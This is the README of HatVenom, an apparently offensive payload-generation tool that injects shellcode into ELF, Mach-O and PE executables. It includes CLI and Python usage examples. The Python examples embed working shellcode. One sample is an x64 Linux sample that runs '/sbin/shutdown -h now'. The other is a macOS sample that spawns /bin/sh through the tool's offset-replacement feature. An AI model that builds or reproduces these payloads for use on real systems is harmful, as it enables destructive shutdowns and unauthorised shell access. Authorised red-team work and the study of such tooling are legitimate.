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HatVenom

Powerful payload generation and shellcode injection tool that provides support for common platforms and architectures.

Features

  • Support for most common executable formats like elf, macho, pe.
  • Support for most common architectures like x64, x86, aarch64, armle, mipsle, mipsbe.
  • Ability to modify shellcode by changing pre-defined offsets.

How it works

  • 1. First we are preparing provided shellcode for injection, we are setting offsets and formatting opcodes.
  • 2. Next we are generating executable, we taking default format header and magic to create simple template.

NOTICE: For macho we are using already prepared templates in the templates/ directory.

  • 3. Then we are injecting prepared shellcode to generated template.

CLI examples

python3 hatvenom.py --format elf --arch x64 --shellcode '\x00'

# With replacing offsets

python3 hatvenom.py --format elf --arch x64 --shellcode '\x00:string:\x00' --offsets string=alena

result:

[i] Target format: elf
[i] Target architecture: x64
[*] Generating payload...
[i] Final payload size: 121
[*] Saving payload to a.out...
[+] Payload saved to a.out!

Python example

from hatvenom import HatVenom

shellcode = (
    b"\x48\x31\xc0\x48\x31\xd2\x50\x6a"
    b"\x77\x66\x68\x6e\x6f\x48\x89\xe3"
    b"\x50\x66\x68\x2d\x68\x48\x89\xe1"
    b"\x50\x49\xb8\x2f\x73\x62\x69\x6e"
    b"\x2f\x2f\x2f\x49\xba\x73\x68\x75"
    b"\x74\x64\x6f\x77\x6e\x41\x52\x41"
    b"\x50\x48\x89\xe7\x52\x53\x51\x57"
    b"\x48\x89\xe6\x48\x83\xc0\x3b\x0f"
    b"\x05"
)

hatvenom = HatVenom()
hatvenom.generate_to('elf', 'x64', shellcode)

Replacing offsets

HatVenom allows you to replace offsets in your shellcode, that means that you can create executable files with injected value.

from hatvenom import HatVenom

shellcode = (
    b"\x48\x31\xf6\x56\x48\xbf"
    b":shell:string:"
    b"\x57\x48\x89\xe7\x48\x31"
    b"\xd2\x48\x31\xc0\xb0\x02"
    b"\x48\xc1\xc8\x28\xb0\x3b"
    b"\x0f\x05"
)

hatvenom = HatVenom()
hatvenom.generate_to('macho', 'x64', shellcode, {'shell':'//bin/sh'})

Offsets must be this type :offset: or if you want to specify offset type - :<offset>:<type>:.